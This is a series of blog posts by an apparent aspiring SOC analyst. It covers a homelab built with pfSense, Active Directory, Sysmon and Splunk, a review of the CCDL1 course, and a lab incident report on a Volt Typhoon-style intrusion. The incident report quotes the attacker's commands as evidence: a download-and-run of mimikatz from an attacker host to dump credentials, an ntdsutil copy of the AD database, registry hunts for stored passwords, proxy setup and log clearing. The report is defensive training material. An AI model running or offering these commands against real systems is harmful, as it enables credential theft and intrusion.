Examples included:

Allow DNS traffic from workstations to Active Directory
Allow Kerberos, LDAP, SMB, and RPC traffic required for domain functionality
Allow Splunk Universal Forwarders to communicate with Splunk
Allow Active Directory to forward DNS requests to pfSense
Block unnecessary traffic between segments by default

After validating functionality, the temporary allow-all rules were removed and replaced with more restrictive policies.

Firewall rule allowing Active Directory’s IP to forward DNS requests to pfSense

Validation

To verify that segmentation was functioning correctly, I tested both allowed and blocked communications.

Examples included:

Test-NetConnection 192.168.10.10 -Port 445

Test-NetConnection 192.168.10.10 -Port 3389

SMB connectivity succeeded because it was explicitly allowed, while RDP traffic was denied because no corresponding firewall rule existed.

This confirmed that the segmentation policy was operating as intended.

Commands testing SMB & RDP connectivity and their output

Lesson Learned

Network segmentation directly contributes to security monitoring. By controlling communication paths through firewall policy, it becomes possible to:

Reduce unnecessary exposure between systems
Generate valuable firewall telemetry
Detect unauthorized access attempts
Validate least-privilege principles
Create more realistic investigation scenarios

The troubleshooting process also reinforced the importance of testing connectivity systematically and validating assumptions before modifying configurations.

Challenge 5: Building a Useful Active Directory Environment

The Problem

A freshly deployed Active Directory environment contains very little activity.

This creates a challenge when attempting to develop detection and investigation skills because there are few events to analyze.

Investigation

I wanted the environment to generate:

Authentication events
Group membership activity
User account operations
Kerberos traffic
Directory service activity

Without these events, Splunk would contain little meaningful telemetry.

Resolution

I deployed the BadBlood PowerShell project to populate Active Directory with realistic objects and relationships.

The environment immediately became more representative of a real enterprise domain.

Active Directory after BadBlood population

Lesson Learned

A useful SOC lab requires realistic data.

Security monitoring becomes significantly more valuable when the environment generates authentic activity patterns.

Challenge 6: Improving Endpoint Visibility

The Problem

Native Windows logging provides useful information, but it does not always provide the level of detail required for detection engineering and investigations.

I wanted deeper visibility into endpoint activity.

Resolution

I deployed Sysmon using Olaf Hartong’s modular configuration and enabled PowerShell logging on both Windows systems.

The combination provided visibility into:

Process creation
Command-line execution
PowerShell activity
Network connections
Registry modifications
File operations

Sysmon detailed events such as 11 (File Creation) appearing in Splunk

PowerShell detailed events such as 4104 (Script Block) appearing in Splunk

Outcome

The resulting telemetry significantly improved the quality of data available within Splunk.

This created a stronger foundation for future detection engineering and threat hunting exercises.

Key Takeaways

Several lessons emerged from this project:

Verify Before Troubleshooting

Always determine whether the issue originates from:

Event generation
Log collection
Data forwarding
SIEM ingestion

Time Matters

Reliable timestamps are essential for investigations and event correlation.

Visibility Is Intentional

Useful telemetry does not appear automatically. It requires deliberate configuration and validation.

Security Controls Create Telemetry

Implementing controls such as network segmentation and firewall policies not only improves security but also generates valuable data for monitoring and investigations.

Blocked connections, denied access attempts, and unusual communication patterns can all become useful detection opportunities within a SIEM.

Realistic Data Produces Better Learning

Tools such as BadBlood help transform a lab from a static environment into a platform for meaningful security analysis.

Troubleshooting Builds Technical Depth

Many of the most valuable lessons from this project came from solving problems rather than completing installations.

Conclusion

Building this SOC homelab provided practical experience not only in deploying security tools, but in operating and troubleshooting a realistic security monitoring environment.

The most valuable learning came from resolving unexpected issues across log collection, DNS architecture, network segmentation, endpoint telemetry, and system synchronization. Each challenge required understanding how different components interact within a security pipeline.

This foundation will support future work in detection engineering, threat hunting, and security incident analysis.

With the environment now fully operational, the next step is to build detection logic, simulate adversarial activity, and develop structured investigation workflows using Splunk.

SOC Incident Report: Investigation of a Volt Typhoon-Inspired Intrusion

Mon, 15 Jun 2026 06:00:00 +0000

SOC Incident Report: Investigation of a Volt Typhoon-Inspired Intrusion

A Complete Write-Up Demonstrating Real SOC Investigation Methodology

Executive Summary

This report documents the investigation of a simulated enterprise intrusion exhibiting tactics, techniques, and procedures (TTPs) commonly associated with the advanced persistent threat (APT) group Volt Typhoon.

Using authentication logs, PowerShell telemetry, Windows Event Logs, registry activity, and Splunk SIEM data, the investigation reconstructed the attack lifecycle from initial compromise through persistence, credential access, lateral movement, command-and-control (C2), and defense evasion activities.

Analysis identified evidence of account compromise, unauthorized administrative account creation, web shell deployment, Active Directory database access, credential dumping, data staging, proxy-based C2 communications, and deliberate log tampering.

The findings demonstrate how multiple low-level events can be correlated into a complete attack narrative, highlighting the importance of behavioral analysis, threat hunting methodologies, and MITRE ATT&CK-based investigation techniques within a Security Operations Center (SOC) environment.

Investigation Objectives

Reconstruct the attacker’s activity timeline
Identify initial access vector and compromised accounts
Determine persistence mechanisms deployed within the environment
Analyze credential access and lateral movement techniques
Detect indicators of command-and-control infrastructure
Identify evidence of defensive evasion and log manipulation
Map observed activity to MITRE ATT&CK techniques

Data Sources & Environment

The investigation was conducted using centralized log data ingested into Splunk, including:

ADSelfService Plus authentication and administrative logs
Windows Security Event Logs
PowerShell operational logs
WMIC execution telemetry
Registry access and modification logs
Network and proxy configuration events
File system and process execution logs

The analysis was guided by threat intelligence on Volt Typhoon and MITRE ATT&CK framework mappings.

Investigation Scope (Kill Chain Mapping)

The intrusion was analyzed across the following phases:

1. Initial Access

The intrusion originated through the compromise of enterprise authentication infrastructure, resulting in unauthorized password resets and administrative account creation.

2024-03-24 11:10:22 dean-admin account password change
2024-03-24 11:12:26 voltyp-admin account created
MITRE ATT&CK - T1078.002 Domain Accounts

Detection Opportunities

Monitor privileged account creation events

2. Execution

Attacker leveraged native Windows utilities and LOLBins (Living-off-the-Land Binaries), including WMIC and PowerShell, to execute reconnaissance and system commands.

Information gathering attempt detected using the command:

wmic /node:server01, server02 logicaldisk get caption, filesystem, freespace, size, volumename

Active Directory database artifacts were copied using the following command:

wmic process call create "cmd.exe /c mkdir C:\Windows\Temp\tmp & ntdsutil.exe \"ac i ntds\" \"ifm create full C:\Windows\Temp\tmp\temp.dit""

MITRE ATT&CK - T1047 Windows Management Instrumentation

Detection Opportunities

Alert on unusual WMIC execution

3. Persistence

A web shell was deployed within a web-accessible directory to maintain remote access and enable continued command execution.

A PowerShell command was identified that copied a web shell into a web-accessible directory, establishing persistent remote access:

Copy-Item -Path "C:\Windows\Temp\iistart.aspx" -Destination "\\server-02\C$\inetpub\wwwroot\AuditReport.jspx"

MITRE ATT&CK - T1505.003 Web Shell

Detection Opportunities

Monitor creation of ASPX/JSPX files in web directories

4. Privilege Escalation & Credential Access

The attacker accessed sensitive system components, including Active Directory database artifacts and credential storage mechanisms, and executed credential dumping tools in memory.

Found commands used by the actor searching for common password storage locations:

reg query hkcu\software\dean-admin\putty\session
reg query hklm\software\realvnc\vncserver
reg query hklm\software\realvnc
reg query hklm\software\OpenSSH\Agent
reg query hklm\software\OpenSSH

Discovered a PowerShell encoded command, which, when decoded, revealed the download and execution of Mimikatz for credential dumping purposes:

Invoke-WebRequest -Uri "http://voltyp.com/3/tlz/mimikatz.exe" -OutFile "C:\Temp\db2\mimikatz.exe"; Start-Process -FilePath "C:\Temp\db2\mimikatz.exe" -ArgumentList @("sekurlsa::minidump lsass.dmp", "exit") -NoNewWindow -Wait

Detection Opportunities

Detect encoded PowerShell commands
Alert on LSASS access attempts

5. Discovery & Lateral Movement

Network reconnaissance was performed using built-in Windows utilities and registry queries to identify system configuration, users, and security logs. The attacker subsequently moved laterally across systems.

Multiple commands were identified that leveraged wevtutil to enumerate Windows Event Logs and review authentication activity related to these events:
- 4624 Successful login
- 4625 Failed login
- 4769 Kerberos Ticket Granting Service Request

MITRE ATT&CK - T1654 Log Enumeration

The attacker maintained persistence across systems by moving the Web shell using the following command:

Copy-Item -Path "C:\Windows\Temp\iistart.aspx" -Destination "\\server-02\C$\inetpub\wwwroot\AuditReport.jspx

Detection Opportunities

Monitor creation of ASPX/JSPX files in web directories

6. Collection & Exfiltration

Sensitive files were identified, copied, and staged for exfiltration. Data was compressed and prepared for external transfer.

Three PowerShell commands were identified staging potentially sensitive financial data for exfiltration:

Copy-Item -Path "C:\ProgramData\FinanceBackup\2024.csv" -Destination "C:\Windows\Temp\Faudit\2024.csv"

Copy-Item -Path "C:\ProgramData\FinanceBackup\2023.csv" -Destination "C:\Windows\Temp\Faudit\2023.csv"

Copy-Item -Path "C:\ProgramData\FinanceBackup\2022.csv" -Destination "C:\Windows\Temp\Faudit\2022.csv"

MITRE ATT&CK - T1074.001 Data Staged: Local Data Staging

7. Command & Control (C2)

Outbound communication channels were established through proxy-based forwarding techniques, enabling remote command execution.

The attacker used the built-in netsh portproxy utility to establish proxy-based communication channels:

wmic /node: server-01 /user: dean-admin /password: uNcr4cK4b1e process call create "cmd.exe /c netsh interface portproxy add v4tov4 listenport=50100 listenaddress=0.0.0.0 connectport=8443 connectaddress=10.2.30.1"

MITRE ATT&CK - T1090.001 Internal Proxy

Detection Opportunities

Monitor netsh portproxy modifications

8. Stealth and Defense Impairment

The attacker attempted to remove forensic evidence through:

Event log clearing was performed using the wevtutil cl command to remove Windows Event Logs:
MITRE ATT&CK - T1685.005 Clear Windows Event Logs

Detection Opportunities

Detect event log clearing activity

Registry modification; A command was found using Remove-ItemProperty to wipe the Most Recently Used MRU record in registry.

Remove-ItemProperty -Path $registryPath -Name MRU0 -ErrorAction SilentlyContinue

MITRE ATT&CK - T1070.007 Indicator Removal: Clear Network Connection History and Configurations

File renaming and extension changes; the attacker renamed the file containing a copy of the database and also changed the extension. They modified the original ntds.dit name to temp.dit, later on to cisco-up.7z (Legitimate Resource Name) and finally to cl64.gif (Masquerade File Type).
MITRE ATT&CK - T1036.005 Match Legitimate Resource Name or Location
MITRE ATT&CK - T1036.008 Masquerade File Type

Indicators of Compromise (IOCs)

Accounts

dean-admin
voltyp-admin

Files

iistart.aspx
AuditReport.jspx
temp.dit
cisco-up.7z
cl64.gif
mimikatz.exe

Commands

wmic process call create
netsh interface portproxy
wevtutil cl

Network Indicators

voltyp.com
10.2.30.1

Analytical Notes

This investigation demonstrates a structured intrusion pattern consistent with advanced adversary behavior. The attacker relied heavily on legitimate administrative tools, reducing detection likelihood and blending malicious actions into normal system activity.

Key behavioral indicators included:

Abuse of native Windows utilities (LOLBins)
Encoded PowerShell execution
Registry-based reconnaissance
Systematic log tampering
Credential harvesting from system memory

Key Takeaways for SOC Analysts

This investigation demonstrates several core responsibilities expected of a Security Operations Center (SOC) analyst:

Log analysis across multiple telemetry sources
Timeline reconstruction and attack chain analysis
Threat hunting using SIEM platforms
MITRE ATT&CK mapping
Identification of persistence mechanisms
Detection of credential access activity
Investigation of lateral movement techniques
Analysis of defense evasion behaviors
Documentation and reporting of findings

By correlating evidence across authentication logs, PowerShell activity, Windows Event Logs, registry activity, and process execution telemetry, a complete picture of the intrusion was reconstructed and mapped to the adversary’s operational objectives.

Building a SOC Homelab from Scratch: Active Directory, pfSense, Sysmon and Splunk

Sun, 07 Jun 2026 07:00:00 +0000

Building a SOC Homelab from Scratch: Active Directory, pfSense, Sysmon and Splunk

Designing an Enterprise-Style Security Monitoring Environment for Blue Team Skill Development

Introduction

One of the most effective ways to develop practical SOC analyst skills is to build and operate a realistic lab environment.

While certifications provide theoretical knowledge, a homelab allows you to work directly with operating systems, network services, logging pipelines, endpoint telemetry, SIEM platforms, and troubleshooting scenarios that closely resemble real-world environments.

To strengthen my defensive security skills, I built a small enterprise-style SOC homelab consisting of:

pfSense firewall
Active Directory domain controller
Windows 11 endpoint
Sysmon endpoint telemetry
Windows Event Logging
Splunk Enterprise SIEM

The objective was not simply to deploy these technologies, but to understand how security-relevant events are generated, transported, collected, and analyzed.

The following diagram shows the final architecture.

Architecture Overview

The lab consists of four virtual machines running inside VirtualBox.

Rather than placing all systems inside a single flat network, I divided the environment into multiple security zones connected through pfSense. This design more closely resembles enterprise environments where infrastructure, user endpoints, and security tooling are separated into dedicated network segments.

The lab uses three internal segments:

Traffic between these segments is controlled through pfSense firewall rules, allowing only the communications required for authentication, DNS resolution, log forwarding, and administration.

Hypervisor Platform: VirtualBox

The entire environment runs inside VirtualBox using isolated internal networks.

This approach provides:

Network segmentation
Safe malware testing opportunities in the future
Snapshot capability
Easy rollback during troubleshooting
Minimal hardware requirements

Using virtualization also allows rapid rebuilding of systems and experimentation without impacting production devices.

pfSense Firewall: Network Gateway and Traffic Control

The first component deployed was pfSense, which acts as the security boundary for the environment.

Network Interfaces

WAN Interface: Internet connectivity
SERVERS Interface: 192.168.10.0/24
WORKSTATIONS Interface: 192.168.20.0/24
SECURITY Interface: 192.168.30.0/24

Network Configuration

DNS Design

Rather than allowing clients to perform direct DNS resolution, I implemented a layered DNS architecture:

1. Windows clients send DNS requests to Active Directory.

2. Active Directory resolves internal domain records and forwards unknown queries to pfSense.

3. pfSense uses Unbound as a recursive DNS resolver to resolve external domains.

This design mirrors many enterprise environments where Active Directory serves as the primary DNS authority.

Firewall Rules

To enforce this architecture, I created firewall rules that restrict communication between network segments while allowing the services required for normal operation.

Examples include:

Allow DNS traffic from workstations to Active Directory.
Allow Kerberos, LDAP, SMB, and RPC traffic required for domain authentication.
Allow Splunk Universal Forwarders to send telemetry to the Splunk server.
Allow Active Directory DNS forwarding to pfSense.
Block unauthorized traffic between segments by default.

This approach follows the principle of least privilege while generating valuable network telemetry for security monitoring.

Network Segmentation

To more closely resemble a real enterprise environment, I separated the lab into multiple security zones using pfSense interfaces and firewall policies.

Rather than allowing unrestricted communication between networks, access is controlled through explicit firewall rules based on business requirements.

Examples include:

Workstations can access Active Directory services such as DNS, Kerberos, LDAP, SMB, and RPC.
Windows systems can forward logs to Splunk on the SECURITY network.
Active Directory can forward DNS requests to pfSense’s Unbound resolver.
Unnecessary services such as RDP remain blocked by default.

After implementing segmentation, I validated the configuration by testing both allowed and denied communications. SMB traffic required for domain functionality was successfully permitted, while unauthorized services such as RDP were blocked. These denied connections generate firewall telemetry that can be forwarded to Splunk and used during investigation and detection engineering exercises.

Logging

pfSense forwards the following logs to Splunk via Syslog:

Firewall events
DNS Resolver events
DHCP activity
System logs

This provides valuable network-level visibility alongside endpoint telemetry.

Active Directory Domain Controller: Identity and Authentication Infrastructure

The next component deployed was a Windows Server 2022 domain controller.

Static Configuration

IP Address: 192.168.10.10
Gateway: 192.168.10.1
DNS: 192.168.10.10

The server hosts:

Active Directory Domain Services
DNS services
Authentication infrastructure

DNS Forwarding

The DNS server was configured to forward unresolved requests to pfSense.

This allows the domain controller to remain authoritative for internal records while maintaining internet name resolution.

Active Directory Population

To generate realistic directory activity, I used the BadBlood PowerShell project to create:

Users
Groups
Organizational Units
Service accounts
Delegation scenarios

This creates a more realistic environment for security monitoring and investigation exercises than an empty domain.

Advanced Audit Policy

To improve security visibility, I enabled advanced Windows auditing for key authentication and directory events.

Examples include:

Logon Success and Failure
Logoff Events
Kerberos Authentication Service Events
Kerberos Service Ticket Events
Directory Service Access Events
File Share auditing

These logs generate valuable telemetry for detecting authentication anomalies and account misuse.

Sysmon Deployment

Sysmon was installed using Olaf Hartong’s modular configuration.

This significantly expands endpoint visibility beyond native Windows logging by capturing:

Process creation
Network connections
Registry modifications
Driver loads
File creation events
PowerShell activity

Windows 11 Workstation: User Endpoint Simulation

To simulate a standard enterprise endpoint, I deployed a Windows 11 Pro workstation and joined it to the Active Directory domain.

Static Configuration

IP Address: 192.168.20.10
Gateway: 192.168.20.1
DNS: 192.168.10.10

Endpoint Visibility

The workstation was configured with:

Sysmon
PowerShell Logging
Windows Event Logging
Splunk Universal Forwarder

This endpoint generates realistic user activity that can be monitored and investigated through Splunk.

Examples include:

Interactive logons
PowerShell execution
Process creation
DNS queries
Network connections
Authentication events

Splunk Enterprise SIEM: Centralized Log Collection and Analysis

The final component deployed was a dedicated Debian 12 server running Splunk Enterprise.

Static Configuration

IP Address: 192.168.30.10
Gateway: 192.168.30.1
DNS: 192.168.10.10

Why Debian?

I chose Debian because it provides:

Stability
Long-term support
Low resource consumption
Excellent compatibility with Splunk

To minimize resource usage, I installed a headless version without a graphical interface.

Log Sources

Splunk receives telemetry from multiple sources:

Data Flow

The resulting telemetry pipeline is:

Endpoint Activity → Windows Logs / Sysmon → Splunk Forwarders → Splunk

Network Activity → pfSense Syslog → Splunk

This creates a centralized platform for searching, correlating, and investigating security events.

Splunk Universal Forwarders: Endpoint Log Collection

Collecting logs is one of the most important aspects of any SOC environment. To centralize telemetry from the Windows systems, I deployed Splunk Universal Forwarders on both the Active Directory server and the Windows 11 workstation.

The forwarders were configured to send security-relevant event data to the Splunk Enterprise instance running on the Debian server.

Collected Log Sources

The following Windows Event Log channels were configured for collection:

Security
System
Application
Sysmon Operational
PowerShell Operational

To achieve this, I configured the appropriate inputs through the inputs.conf file on each endpoint.

Why Collect These Logs?

Each log source contributes a different perspective during investigations:

While native Windows logs provide valuable information, Sysmon significantly expands endpoint visibility and enables more detailed investigations and detections.

Telemetry Flow

The resulting data flow is straightforward:

Windows Endpoint → Splunk Universal Forwarder → Splunk Enterprise

This architecture ensures that endpoint activity is centralized within the SIEM, allowing events from multiple systems to be searched, correlated, and investigated from a single location.

Key Design Decisions

Several design decisions were intentionally made to improve visibility and mimic enterprise environments.

Centralized Authentication

Active Directory serves as the authentication authority for all domain resources.

Controlled DNS Resolution

All DNS traffic is forced through Active Directory and pfSense.

Layered Logging

Both network and endpoint telemetry are collected.

Centralized SIEM

All logs are aggregated into Splunk for correlation and investigation.

Network Segmentation and Least Privilege

Systems are separated into dedicated network zones for servers, workstations, and security tooling. Communication between segments is restricted through pfSense firewall rules that allow only the services required for business functionality.

This design follows the principle of least privilege and creates opportunities to monitor both allowed and denied traffic. Because firewall events are forwarded to Splunk, the environment can be used to investigate blocked connections, validate access controls, and develop detections based on network policy violations.

Realistic Active Directory Environment

BadBlood introduces realistic directory complexity that supports threat hunting and detection exercises.

What This Lab Enables

With the foundation complete, the environment now supports:

SOC analyst investigations
Detection engineering exercises
Threat hunting
Windows event analysis
Authentication monitoring
Active Directory security testing
Network segmentation monitoring
Firewall log analysis
Access control validation
Splunk dashboard creation
Incident response simulations

Most importantly, it provides hands-on experience troubleshooting the kinds of issues that frequently appear in real enterprise environments.

Conclusion

Building this SOC homelab provided significantly more practical learning than simply studying technologies in isolation.

Beyond deploying the infrastructure itself, the project required understanding how authentication, DNS resolution, endpoint telemetry, logging pipelines, SIEM platforms, network segmentation, and firewall policy design interact within a security monitoring environment.

The completed lab now serves as a foundation for future projects involving detection engineering, threat hunting, attack simulation, and security monitoring workflows.

In the next article, I will cover the challenges encountered during deployment, including log ingestion problems, Sysmon collection issues, DNS troubleshooting, firewall misconfigurations, network segmentation challenges, and time synchronization issues across the environment.

I Completed 100 Cybersecurity Labs. Why Build a SOC Homelab Too?

Thu, 04 Jun 2026 12:01:35 +0000

I Completed 100 Cybersecurity Labs. Why Build a SOC Homelab Too?

Lessons learned building a SOC homelab with Splunk, Active Directory, Sysmon, and pfSense

Over the last year and a half, I have focused heavily on preparing for a career in cybersecurity. During that time, I completed around 100 cybersecurity labs covering topics ranging from reconnaissance and enumeration to lateral movement, detection engineering, and incident response.

I built strong foundations in networking and security theory, earned several practical certifications, and spent countless hours working through realistic attack scenarios. I even created a small Splunk environment while preparing for the SPLK-1001 certification to deepen my understanding of SIEM fundamentals.

For a long time, I questioned whether building a SOC homelab was really necessary.

My reasoning was simple:

If I had already solved dozens of realistic cybersecurity scenarios online, involving real-world attacks, real-world logs, and real-world investigation techniques, what additional value could a homelab possibly provide?

After finally building one, I discovered the answer:

A lot.

And often in areas I never expected.

Online Labs Teach Security. Homelabs Teach Everything Around Security.

Platforms such as TryHackMe, Hack The Box, Blue Team Labs Online, and practical certifications provide excellent environments to develop cybersecurity skills.

However, they are preconfigured environments.

A SOC homelab is different.

Instead of being given a functioning environment and a challenge to solve, you become responsible for designing, building, securing, troubleshooting, documenting, and maintaining the entire infrastructure yourself.

In a real organization, security analysts do not operate in isolation. They work within an ecosystem composed of networks, servers, operating systems, logging infrastructure, Active Directory, firewalls, DNS, and countless interconnected services.

Building a homelab exposes you to all of these components.

The Skills I Developed While Building My SOC Homelab

Before starting the project, I expected to learn a bit more about Splunk.

What actually happened was that I ended up strengthening skills across multiple technical domains.

Virtualization

The first step involved designing and deploying the virtual environment itself.

This required decisions regarding:

Resource allocation
Virtual networking
Network segmentation
VM lifecycle management
Storage planning

These are concepts that security professionals encounter regularly but are often abstract when learned solely through courses.

All four virtual machines running

Networking

Networking quickly became one of the most valuable learning areas.

My lab included:

pfSense firewall
Windows hosts
Active Directory
DNS services
Splunk server
Sysmon log forwarding

Building connectivity between these systems forced me to understand networking at a deeper level.

I spent significant time working with:

IP addressing
DNS configuration
DHCP configuration
Firewall rules
Network troubleshooting
Internal routing

Many concepts that had previously existed only as theory suddenly became practical exercises with specific problems to solve.

pfSense boot screen

System Administration

A homelab naturally pushes you into system administration.

I found myself configuring:

Windows Server
Active Directory
DNS
Group Policy
Local security settings
Service accounts
Linux servers

This experience significantly improved my understanding of how enterprise environments operate.

Windows Server Group Policy overview after BadBlood script

Linux Administration

Deploying Splunk on a Debian virtual machine became an unexpected learning opportunity.

Working with a minimal installation forced me to become more comfortable with Linux administration tasks.

For example, I discovered that minimal installations do not even include sudo by default and require additional configuration.

Throughout the deployment process, I became increasingly comfortable with:

Package management
User permissions
Service management
File permissions
Configuration files
Hash verification
Network diagnostics

As a result, I was able to practice and freshen up my Linux command-line fluency.

Splunk running on headless Debian 12

Troubleshooting

This was arguably the most valuable skill developed during the entire project.

Things rarely work perfectly the first time.

And that’s exactly where the learning happens.

Throughout the build process, I encountered issues involving:

DNS resolution
Time synchronization
Service configuration
Log forwarding
Connectivity problems
Authentication issues

Troubleshooting forced me to adopt a systematic approach. I learned to validate assumptions and isolate variables using tools such as:

ping
nslookup
Test-NetConnection
Event Viewer
Services console
Splunk search queries
Firewall logs

One example involved investigating why Sysmon logs were not reaching Splunk from a particular workstation while other Windows logs were being ingested successfully. Tracing the issue required examining configurations, services, permissions, and forwarding settings before ultimately identifying the root cause.

These experiences closely resemble the type of investigative thinking required in a SOC environment.

SOC homelab architecture overview

Understanding How Everything Fits Together

One of the biggest benefits of building a homelab is developing systems-level thinking.

In many training environments, technologies are learned independently: Active Directory, Splunk, Windows, Linux, Firewalls, Networking…

A homelab forces you to connect them.

You begin to understand questions such as:

How does Active Directory rely on DNS?
How do endpoints generate telemetry?
How does Sysmon data reach Splunk?
How do firewall rules affect visibility?
How does network architecture impact detection?

This broader perspective is incredibly valuable because security analysts rarely investigate isolated systems. They investigate environments.

Understanding how the pieces interact provides context that significantly improves analytical capability.

Documentation Is a Skill Too

One lesson I did not expect to learn was the importance of documentation.

Throughout the project, I documented:

Architecture decisions
Configuration steps
Troubleshooting procedures
Lessons learned
Validation testing

This not only improved reproducibility but also strengthened my understanding of the environment itself.

Writing down what I was doing forced me to think critically about why I was doing it.

The process transformed a technical exercise into a structured learning experience.

Final Thoughts

Completing cybersecurity labs remains one of the best ways to learn security concepts and develop technical skills.

However, building a SOC homelab provides something different.

It transforms you from a participant operating inside an environment into the person responsible for creating and maintaining that environment.

For me, the project felt like a practical capstone to everything I had learned over the previous year and a half.

It allowed me to apply networking, system administration, Active Directory, Linux, Windows, Splunk, troubleshooting, and documentation skills within a single project while continuing to learn new things every day.

If you are pursuing a career in cybersecurity and have already completed online labs, certifications, and training platforms, I highly recommend building a SOC homelab.

You may start the project intending to learn more about security.

You will likely finish it having learned much more than that.

This is the first article in my SOC homelab series. Stay tuned for upcoming posts, where I’ll share deeper technical insights and real-world SOC practices. If you found this post helpful, feel free to clap, share, or leave a comment. I’d love to hear your thoughts!

CyberDefenders CCDL1: Practical SOC Analyst Training Beyond the Fundamentals

Tue, 26 May 2026 12:01:35 +0000

CyberDefenders CCDL1: Practical SOC Analyst Training Beyond the Fundamentals

A hands-on path into modern blue team operations

Introduction

By the time I discovered CyberDefenders, I had already completed several foundational certifications including BTL1, SAL1, SPLK-1001, and AZ-900. While those certifications gave me a solid understanding of cybersecurity fundamentals, SIEM usage, and blue team concepts, I wanted more exposure to structured investigations, incident handling workflows, and practical SOC operations.

CyberDefenders immediately stood out because of its investigation-oriented approach. Its labs and learning platform focused heavily on hands-on analysis, event correlation, threat detection, and defensive workflows rather than purely theoretical content.

After following the platform for several months and exploring its community resources, I participated in a CyberDefenders contest for CCDL1 access and was fortunate enough to win a seat in the course. I sincerely appreciate the opportunity they provided, as it allowed me to explore the certification thoroughly and challenge myself in areas directly related to modern SOC analyst responsibilities.

In this article, I will review CCDL1 from the perspective of an aspiring entry-level security analyst focused on practical blue team development.

Key Takeaways

Strong emphasis on real-world SOC workflows and investigations
Practical SIEM training with Splunk and Microsoft Sentinel
Covers phishing analysis, DFIR, endpoint investigations, and cloud security
Beginner-friendly for cybersecurity learners, but not for complete IT beginners
Investigation-oriented labs that encourage analytical thinking rather than memorization
Final exam focuses on practical incident investigation in a live environment

Overall Learning Experience

A Professional and Structured Learning Platform

One of the first things I noticed was the platform’s clean and distraction-free interface. The course structure is clear, organized, and easy to follow, which makes long study sessions significantly more comfortable.

The theoretical content relies heavily on visual explanations such as workflows, diagrams, attack chains, and investigation processes. The minimalist design keeps the focus on learning rather than overwhelming students with unnecessary visual noise.

The course also maintains a clear separation between theoretical lessons and practical labs, making it easier to understand concepts first and then apply them in hands-on scenarios.

Overall, the platform gave me the impression of a carefully designed professional training environment built specifically for SOC analyst preparation.

The Theory

Questions and Quizzes That Develop Analytical Thinking

One aspect that exceeded my expectations was the quality of the questions integrated throughout the lessons.

Rather than simply testing whether you read the material, many questions are scenario-driven and designed to simulate real SOC analyst decision-making. They often present realistic situations and require you to apply reasoning, investigation logic, and operational thinking.

Examples include identifying the most likely cause of an intrusion, determining how a security control could have been improved, prioritizing the best investigative action, or deciding how to escalate an incident appropriately.

This approach makes the questions themselves part of the learning process. Instead of rewarding memorization, they encourage the mindset required in real-world security operations.

Operationally Focused Theory

Although CCDL1 is considered entry-level, the course assumes students already possess basic IT and cybersecurity fundamentals.

It starts topics from the beginning and explains concepts clearly, but it avoids spending excessive time on introductory “Cybersecurity 101” material. Instead, the focus is on operational relevance and practical application.

For example, instead of lengthy explanations about Threat Intelligence concepts, the course focuses on how threat intelligence supports detection, triage, and investigation workflows inside a SOC. Instead of only describing the MITRE ATT/&CK framework, it demonstrates how ATT&CK techniques are mapped to detections, threat hunting, and defensive coverage improvement.

This operational approach allows students to focus on SOC workflows, alert triage, event correlation, incident escalation, investigation methodology, log analysis, and defensive decision-making.

The result is theory that feels concise, job-oriented, and immediately applicable to real SOC environments.

Objectives-Oriented Tooling

The tooling sections follow a similar philosophy.

Rather than interrupting theory lessons with deep tool tutorials, the course first just introduces the purpose of each tool within the broader investigation workflow. Detailed hands-on usage is primarily reserved for the labs.

This keeps the focus on understanding when to use a tool, why it matters, what type of evidence it provides, and how it fits into the overall incident response process.

Labs and Practical Exercises

Investigation-Driven Hands-On Learning

The practical labs are where the course becomes significantly more technical.

They guide students through realistic analyst tasks involving

Log analysis
SIEM investigations
Phishing triage
Forensic artifact analysis
Endpoint investigations
Cloud security monitoring.

Students are expected to investigate data, identify suspicious behavior, correlate events, and answer questions based on findings that a SOC analyst would realistically encounter.

If you become stuck, the platform provides hints and walkthroughs. In some advanced scenarios, the walkthroughs also function as an additional learning resource by clarifying investigative techniques or concepts that may not be immediately obvious to less experienced students.

This approach reinforces one of the course’s main strengths: learning through investigation rather than passive observation.

SIEM and Log Analysis Training

One of the strongest parts of the course for me was the SIEM content.

The training reinforced the fundamentals I previously learned through BTL1 and Splunk training while expanding into more practical SOC-oriented workflows. It covered:

SPL query development
Dashboard analysis
Alert investigation
Event correlation
Authentication analysis
Multi-source log investigations

The course also introduced Microsoft Sentinel investigations, which was valuable exposure to cloud-native SIEM workflows and modern SOC environments.

One particularly valuable exercise guided students through a full intrusion investigation from beginning to end. This helped me refine both my SPL queries and my investigative thought process while navigating realistic attack timelines and correlated events.

Investigation Labs

Each module concludes with larger investigation-focused exercises designed to validate the skills learned throughout the section.

Unlike the guided labs, these investigations provide significantly less assistance. There are no hints during the exercise, and walkthroughs remain locked until completion. This creates a much more realistic analyst experience where students must identify relevant evidence, correlate events, validate suspicious activity, and determine the attacker’s actions independently.

These investigations were especially useful for improving structured investigation methodology and analytical confidence.

CyberDefenders also provides access to a Discord community where students can discuss concepts and seek clarification when encountering particularly challenging scenarios.

Topics Covered

The certification covers a broad range of modern SOC analyst responsibilities, including:

SOC operations and threat intelligence
Phishing and email analysis
Network and endpoint investigations
SIEM operations and log analysis
Digital forensics and incident response (DFIR)
Cloud security investigations
AWS and Microsoft Sentinel environments
Windows event analysis
Memory and disk forensics
AI-assisted defensive workflows.

I also appreciated the focus on Event correlation, Lateral movement detection, Attacker behavior analysis, Phishing infrastructure identification and Cloud IAM activity investigation. These are highly relevant skills for modern Tier 1 SOC analysts.

The Final Exam

The final exam presents a large practical investigation scenario that must be completed within six hours.

The assessment combines live investigation environments, practical multiple-choice questions, SIEM analysis, endpoint investigations, phishing analysis and cloud-related incidents.

The exam heavily emphasizes practical investigation ability rather than theoretical memorization.

To prepare effectively, I strongly recommend completing all labs and investigation exercises, organizing notes and investigation workflows, practicing SIEM navigation and SPL queries, and becoming comfortable with forensic investigation processes.

The exam is open-book, meaning students may consult notes and documentation during the assessment, which mirrors real-world SOC environments. However, the certification policy explicitly forbids the use of AI tools during the exam. (CyberDefenders Exam Outline)

Side Notes

CCDL1 aligns strongly with modern Tier 1 SOC analyst responsibilities and practical investigation workflows.
The course content is extensive, especially considering the number of labs and investigations. Time management is important.
Students should ideally already understand basic networking, Windows/Linux fundamentals, and command-line usage before starting the course. Having some previous basic cybersecurity skills would be an advantage.
The study plan estimates approximately 60 hours of study time across the course.
If you hold certifications such as CompTIA Security+ or CySA+, you may be eligible to earn CEUs after completing CCDL1.
The final exam is entirely practical and focused on investigation workflows rather than theoretical recall.

Conclusion

CCDL1 exceeded my expectations as an entry-level blue team certification.

